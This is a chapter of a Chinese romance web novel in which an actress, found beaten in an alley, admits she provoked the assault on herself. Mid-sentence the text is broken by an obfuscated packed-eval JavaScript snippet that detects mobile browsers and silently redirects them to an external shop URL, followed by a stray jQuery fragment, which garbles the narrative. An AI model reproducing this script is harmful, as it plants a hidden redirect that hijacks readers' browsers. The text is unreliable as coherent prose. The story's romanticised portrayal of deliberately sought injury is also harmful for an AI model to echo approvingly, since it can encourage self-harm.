从天黑起,陆岐扬就觉得身上有些难受。
起先是头、脸,然后是脖子、胸口,最后是肚子。
“许良下手这么狠……”他不由得揉了揉脖子,听得几声轻响。
他回去以后,就在家里的健身房挥汗如雨,见了许良,就借着练拳的机会找他对打。之后,他短暂地在剧组里看到一眼孟昭羽,便再也找不到她了。当时她和吴晏回独处一室,他下意识地回避,谁想就把人给放走了。
好在孟昭羽生活简单,不是剧组就是酒店。可他赶回去一看,先是屋子里敲门不应,再就是监控也查无此人。
而难受的感觉最终来到了腿上,他倚着墙缓了缓,重新坐回车里。
孟昭羽短信电话一个都没回,真不知道买个手机是干什么用的。
陆岐扬将手机甩到一边,再次发动汽车引擎。
“孟昭羽,你到底在哪!”
孟昭羽仍旧在那条小巷里。
两边的墙上布满了不少人家的窗子,或是晾衣服或是放空调外机的,再有些养花的,水也都顺流而下,淅淅沥沥地拍下来,上面是高山流水,下面的人打得落花流水。
她本来想被打晕过去的,这样又可以偷懒,不用胡思乱想了。
可惜整个过程她都清醒得要命,身子骨都要散架了,可大脑却越转越快。
从小到大,她似乎养成了一个习惯:绝不露怯。
哪怕寄人篱下再多苦楚;哪怕在学校里的孤立再多煎熬;哪怕去应酬时再过尴尬不适,哪怕在红毯上与其他艺人让来让去站C位时再过虚伪……她也能视而不见,然后用微笑强压不安,最后也不知道是适应了,还是只是习惯与不安共处了。
可是自欺欺人能欺骗到什么时候呢?总该有个了结了。
她擦了擦脸上的血水,将浆住的头发撇去两边,四下摸索着刚刚不知道被踹飞到哪里的鞋子。
很快,她看到了,就在巷子口前面。
可惜她的身子骨真是要散架了,连那么点距离都觉得好远。
但是很痛快,又痛又快。
她索性爬过去,这里的路都布满了手掌大小的方块小地砖,缝里镶嵌了不少烟头和杂物,顺着楼上滴落的水流正各自散发着味道,她扳着那样的地砖缝,也算是找到了发力点,好一点一点地爬过去。
地砖的边缝并不那样圆滑,但较之破破烂烂的她,也成不了什么气候,割破了哪处都无所谓。
现在看来,打碎一地体面的孟昭羽,也不是那样难以接受。
她好不容易爬到巷口,手指才刚刚碰了点亮光,便立刻叫人堵上了。
这裤腿和鞋子都颇有些熟悉。
她还没来得及抬头去看,一支点燃的烟头猝不及防地落在她手背上。
“啊!”她下意识地弹开手来。
“我靠,是人是鬼!”
听这声音,孟昭羽就不用抬头了,她一把抓住自己掉落的那双鞋,艰难地坐直起来,把鞋穿上。
“你你你,孟昭羽?”
黄树云刚想出来抽根烟,谁想就被这血水交融的小巷给吓个够呛。
“啊,是你,”孟昭羽抬起手来抓他,“别愣着,扶我一把。”
“这这,这要去医院吧,我手机没拿出来,你的呢,给我。”
黄树云连忙抓起她的左臂,将她架起来。
“有什么好去的,这样的伤对你来说都是小事吧。”
黄树云没好气地翻了个白眼,正要骂她,但看她这副鬼样,将话生生噎回去了。
她整个人狼狈不堪,脸上的血已经干得差不多了,脖颈处青紫一片,至于身下,是黑色的长裙遮盖了一切,仅有撕裂的几块布料显出几道狰狞的红痕,腿自不必说,她一颠一颠的,几乎半挂在他身上。
他挠了挠头,即便是那次投奔宋乾,他都没有伤成这样过,至少走路还是能好好走的。
孟昭羽看出他的想法,道:“腿没事,我护着呢,只是刚刚在那压久了,很麻。”
黄树云将自己的帽子取下,猛地压在孟昭羽头上,巨大的帽檐将她半张脸都盖住了。
他骂道:“你这脸怎么办?哎呀你回去看看吧,你没了这张脸怎么上镜?”
“哎呀,宋哥也不在,真是的,周末人还多得要命,你又弄成这样,唉,等我把店关了送你回去。”
“你不怕老板明天就把你炒了。”
“那你总不能呆在酒吧里吧!里面可是烟味酒味鼻屎味有多黏厚有多臭。”
孟昭羽被他的形容刺激得皱起鼻子。
“不用,之前你不是跟人骑摩托车摔过吗?那拐杖借我一根我就回去了。”
黄树云眯着眼睛看她,“你怎么知道我摔过的?我那是被人撞的。”
“好好好……”
孟昭羽好说歹说,黄树云总算松了口,这才给她拿来了拐杖,她撑了撑,高度刚刚好,大概是他特地调过的,她道了声谢。
“谢什么,真麻烦,”他有点不好意思,“今天没法送你,我都……唉,你到家了知会一声。”
孟昭羽点点头,他这才回去了。
黄树云一走,她松懈了不少,这才找好支撑的角度抹了把脸,又是一手的鼻血。
她不喜欢给别人添麻烦,也讨厌暴露自己脆弱难看的模样。等她回了家,怎么难堪她都可以自我消化,要再来点止痛药,她便是眉头也不皱一下的末路骁勇了。
“昭羽!”
孟昭羽虎躯一震,连忙将脸缩在黄树云给她的帽子下。
让谁看见都行,绝对不要让他看见,她已经在他面前那样难看过了……
来人猛地扑上来将她一抱,也不顾她浑身的脏污,把她箍得极紧,方才已经消去的痛楚又随着紧缚渗出不少。
她哀求着:“松,松松开……”
“我差点以为要失去你了!”
他身上那股没来由的疼痛愈演愈烈,那时他想,要是再找不到她,他就立刻去报警,管他什么舆论什么狗仔的。
陆岐扬说完那句话后,便一语不发,他的沉默化作一股无形的力量,将她推到医院里的每个角落,仔仔细细地检查了一通。
她特意将腿藏在裙子里,也没主动跟外科医生说什么,便也就过去了。
等她拄着拐杖出来,陆岐扬不知道从哪给她推来了一个轮椅,不由分说就把她抱上去。
“搞这么严肃,我都说我没事吧。”
“眉骨都轻微骨裂了!”
他阴沉沉地低吼一声,孟昭羽被吓得一缩,想说的话没能说出来。
“到底是谁干的!”
“我想换衣服,先带我回去好吗?连累了你我很抱歉,就不能等明天再继续讨厌我吗?现在送我回去好不好?”
平常的孟昭羽才不会这样楚楚可怜地撒娇,陆岐扬猛地意识到,她是让自己闭嘴。
接下来,他黑着脸看她处理完伤口,又去办好手续交完费。
陆岐扬取好药,边推着她往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683972|204686||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
外走,边恨道:“什么连累,什么讨厌……你就一定要这么若无其事地说话吗?一定要这么说话吗?明明都这样了……”
孟昭羽抿抿唇,她才不要大哭一场。
“难道是那个小混混弄的?”
直到两人回了酒店,孟昭羽异常艰难地洗了个澡,刚从浴室里出来时,便听见陆岐扬突然得出一个结论。
“小混混?你说黄色头发那个?”她愣了愣。
陆岐扬眉头一皱,“我那个时候就不该这么轻易放过他……”
孟昭羽虽然不知道他说的是哪个时候,但也连忙止住他。
她沉下声道:“是我自己弄的。”
孟昭羽仰起头,靠在一旁的门上,望着天花板的灯光发愣。她忽然觉得这话说出来真有点无耻的轻松:她心心念念端着的一切,好似真没什么大不了的。
还不待她被灯光刺得错开目光,却先听到几声呜咽。
坐在床沿的男人将头深深埋在手心里,看不见表情,孟昭羽只能微微看见他发抖的肩背。
他似乎有些颤抖。
“你怎么了?”孟昭羽下意识地问,却没能接近他。
“昭羽,你讨厌我谩骂我怎么样都好,能不能别像这样刻意把我推开?”别故意撒谎说这种话。
“求你了……”
孟昭羽绝没想到自己的一句话竟惹得这样的结果。一直以来,她似乎都低估了他的心意。
她连忙想过来,一时忘记拄拐,又兼浴室出来的地面有些湿滑,她啪的一下就往地上摔去。
接触地面不过几秒,连疼痛都还没反应过来,孟昭羽就被轻轻抱起,安稳地落到床上,她还来不及看陆岐扬的表情,因为他把头深埋在被子里,那恰好是她的腹部上方。
“好啊好啊,你现在是不是还要说,你就是像刚刚那样摔成这样的?”
她感受到腹部传来的温热,不由自主地揉了揉他的头发,微微的香气从中被她拨弄出来。
“我没有骗你,真的是我自己弄的。”
小腹上趴着的男人没有动静,她连忙解释,“我遇到几个挑事的,反正也躲不过了,我就想叫他们打我来着,但他们都是缩头乌龟,听到我的邀请反而不敢上了,还是我先打了他们,他们这才还手的,而且我也把他们都给揍了,你要是真报警找他们的麻烦,我估计也得被连累呢。只是可气,说好了不打脸的……”
陆岐扬抬起头来,面上没有泪,孟昭羽松了口气。
他的脸上说不清是哀怨还是怒火,只能看见眼珠在抖动。
“真不是那个混混?”
“不是,你什么时候跟他杠上了?”
“真不是你编的?”
“我哪有那么丰富的人生阅历,还能编出这种故事?”
他蹙眉望着她,孟昭羽轻轻将他的眉头抚平,又道:“皱起来要长川字纹了,不好看。”
“眉骨都裂口的人还好意思这么说我?”
陆岐扬别开脸,从她软和的手里逃脱了。他此刻蹲在她的床前,心底的疑问就要脱口而出了,却又被他生生压住。
临到孟昭羽睡前,陆岐扬给她掖好被子,又看她毫无异色,终于是忍不住了。
“为什么要这么做?”
孟昭羽淡淡地抬起眼,又看向一旁的天花板。
“我就是想看看,我还能不堪到什么程度。”
陆岐扬忽觉一盆冷水淋下,从头顶凉到脚跟。
那是他说过的话……